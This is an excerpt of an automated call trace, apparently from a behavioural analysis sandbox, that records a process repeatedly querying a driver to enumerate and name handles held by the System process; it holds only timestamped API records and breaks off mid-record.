[0110.632] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.632] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0110.632] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.632] PsAcquireProcessExitSynchronization () returned 0x0 [0110.632] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.632] ObReferenceObjectByHandle (in: Handle=0xffffffff800001e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f1f210, HandleInformation=0x0) returned 0x0 [0110.632] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.632] PsReleaseProcessExitSynchronization () returned 0x2 [0110.632] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.632] ObQueryNameString (in: Object=0xfffffa8002f1f210, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.632] ObfDereferenceObject (Object=0xfffffa8002f1f210) returned 0x1 [0110.632] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.632] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.632] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.632] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0110.632] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.632] PsAcquireProcessExitSynchronization () returned 0x0 [0110.632] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.632] ObReferenceObjectByHandle (in: Handle=0xffffffff800001e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f22d30, HandleInformation=0x0) returned 0x0 [0110.632] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.632] PsReleaseProcessExitSynchronization () returned 0x2 [0110.632] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.632] ObQueryNameString (in: Object=0xfffffa8002f22d30, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.632] ObfDereferenceObject (Object=0xfffffa8002f22d30) returned 0x2 [0110.632] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.632] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.632] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.633] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xb8, lpOverlapped=0x0) returned 1 [0110.633] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.633] PsAcquireProcessExitSynchronization () returned 0x0 [0110.633] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.633] ObReferenceObjectByHandle (in: Handle=0xffffffff800001f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f1d050, HandleInformation=0x0) returned 0x0 [0110.633] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.633] PsReleaseProcessExitSynchronization () returned 0x2 [0110.633] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.633] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.633] ObfDereferenceObject (Object=0xfffffa8002f1d050) returned 0x21 [0110.633] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.633] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.633] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.633] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0110.633] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.633] PsAcquireProcessExitSynchronization () returned 0x0 [0110.633] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.633] ObReferenceObjectByHandle (in: Handle=0xffffffff800001f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800282f560, HandleInformation=0x0) returned 0x0 [0110.633] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.633] PsReleaseProcessExitSynchronization () returned 0x2 [0110.633] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.633] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.633] ObfDereferenceObject (Object=0xfffffa800282f560) returned 0x1 [0110.633] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.633] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.633] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.633] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0110.633] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.633] PsAcquireProcessExitSynchronization () returned 0x0 [0110.633] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.633] ObReferenceObjectByHandle (in: Handle=0xffffffff800001fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002fef2b0, HandleInformation=0x0) returned 0x0 [0110.633] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.633] PsReleaseProcessExitSynchronization () returned 0x2 [0110.634] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.634] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.634] ObfDereferenceObject (Object=0xfffffa8002fef2b0) returned 0x1 [0110.634] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.634] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.634] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.634] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0110.634] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.634] PsAcquireProcessExitSynchronization () returned 0x0 [0110.634] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.634] ObReferenceObjectByHandle (in: Handle=0xffffffff80000200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002ee1d40, HandleInformation=0x0) returned 0x0 [0110.634] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.634] PsReleaseProcessExitSynchronization () returned 0x2 [0110.634] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.634] ObQueryNameString (in: Object=0xfffffa8002ee1d40, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.634] ObfDereferenceObject (Object=0xfffffa8002ee1d40) returned 0x1 [0110.634] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.634] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.634] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.634] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0110.634] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.634] PsAcquireProcessExitSynchronization () returned 0x0 [0110.634] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.634] ObReferenceObjectByHandle (in: Handle=0xffffffff80000204, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002ee4f20, HandleInformation=0x0) returned 0x0 [0110.634] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.634] PsReleaseProcessExitSynchronization () returned 0x2 [0110.634] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.634] ObQueryNameString (in: Object=0xfffffa8002ee4f20, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.634] ObfDereferenceObject (Object=0xfffffa8002ee4f20) returned 0x1 [0110.634] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.634] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.635] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.635] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0110.635] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.635] PsAcquireProcessExitSynchronization () returned 0x0 [0110.635] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.635] ObReferenceObjectByHandle (in: Handle=0xffffffff80000210, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002ff1610, HandleInformation=0x0) returned 0x0 [0110.635] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.635] PsReleaseProcessExitSynchronization () returned 0x2 [0110.635] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.635] ObQueryNameString (in: Object=0xfffffa8002ff1610, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.635] ObfDereferenceObject (Object=0xfffffa8002ff1610) returned 0x1 [0110.635] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.635] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.635] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.635] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0110.635] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.635] PsAcquireProcessExitSynchronization () returned 0x0 [0110.635] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.635] ObReferenceObjectByHandle (in: Handle=0xffffffff80000214, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002eee850, HandleInformation=0x0) returned 0x0 [0110.635] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.635] PsReleaseProcessExitSynchronization () returned 0x2 [0110.635] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.635] ObQueryNameString (in: Object=0xfffffa8002eee850, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.635] ObfDereferenceObject (Object=0xfffffa8002eee850) returned 0x1 [0110.635] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.636] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.636] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.636] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0110.636] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.636] PsAcquireProcessExitSynchronization () returned 0x0 [0110.636] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.636] ObReferenceObjectByHandle (in: Handle=0xffffffff80000218, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002ff3570, HandleInformation=0x0) returned 0x0 [0110.636] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.636] PsReleaseProcessExitSynchronization () returned 0x2 [0110.636] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.636] ObQueryNameString (in: Object=0xfffffa8002ff3570, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.637] ObfDereferenceObject (Object=0xfffffa8002ff3570) returned 0x11 [0110.637] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.637] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.637] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.637] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0110.637] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.637] PsAcquireProcessExitSynchronization () returned 0x0 [0110.637] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.637] ObReferenceObjectByHandle (in: Handle=0xffffffff80000264, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8009f01960, HandleInformation=0x0) returned 0x0 [0110.637] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.637] PsReleaseProcessExitSynchronization () returned 0x2 [0110.637] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.637] ObQueryNameString (in: Object=0xfffffa8009f01960, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.637] ObfDereferenceObject (Object=0xfffffa8009f01960) returned 0x1 [0110.637] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.637] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.637] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.637] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0110.637] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.638] PsAcquireProcessExitSynchronization () returned 0x0 [0110.638] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.638] ObReferenceObjectByHandle (in: Handle=0xffffffff80000274, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800308a050, HandleInformation=0x0) returned 0x0 [0110.638] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.638] PsReleaseProcessExitSynchronization () returned 0x2 [0110.638] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.638] ObQueryNameString (in: Object=0xfffffa800308a050, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.638] ObfDereferenceObject (Object=0xfffffa800308a050) returned 0x1 [0110.638] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.638] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.638] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.638] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0110.638] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.638] PsAcquireProcessExitSynchronization () returned 0x0 [0110.638] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.638] ObReferenceObjectByHandle (in: Handle=0xffffffff8000027c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8009f01640, HandleInformation=0x0) returned 0x0 [0110.638] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.638] PsReleaseProcessExitSynchronization () returned 0x2 [0110.638] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.638] ObQueryNameString (in: Object=0xfffffa8009f01640, ObjectNameInfo=0xfffffa8003913044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8003913044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.638] ObfDereferenceObject (Object=0xfffffa8009f01640) returned 0x1 [0110.638] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.638] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.638] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.638] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0110.638] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.638] PsAcquireProcessExitSynchronization () returned 0x0 [0110.638] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.638] ObReferenceObjectByHandle (in: Handle=0xffffffff80000280, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8009f01320, HandleInformation=0x0) returned 0x0 [0110.638] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.639] PsReleaseProcessExitSynchronization () returned 0x2 [0110.639] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.639] ObQueryNameString (in: Object=0xfffffa8009f01320, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.639] ObfDereferenceObject (Object=0xfffffa8009f01320) returned 0x1 [0110.639] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.639] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.639] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.639] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0110.639] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.639] PsAcquireProcessExitSynchronization () returned 0x0 [0110.639] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.639] ObReferenceObjectByHandle (in: Handle=0xffffffff80000284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030a9e50, HandleInformation=0x0) returned 0x0 [0110.639] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.639] PsReleaseProcessExitSynchronization () returned 0x2 [0110.639] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.639] ObQueryNameString (in: Object=0xfffffa80030a9e50, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.639] ObfDereferenceObject (Object=0xfffffa80030a9e50) returned 0x1 [0110.639] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.639] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.639] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.639] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x70, lpOverlapped=0x0) returned 1 [0110.639] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.639] PsAcquireProcessExitSynchronization () returned 0x0 [0110.639] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, 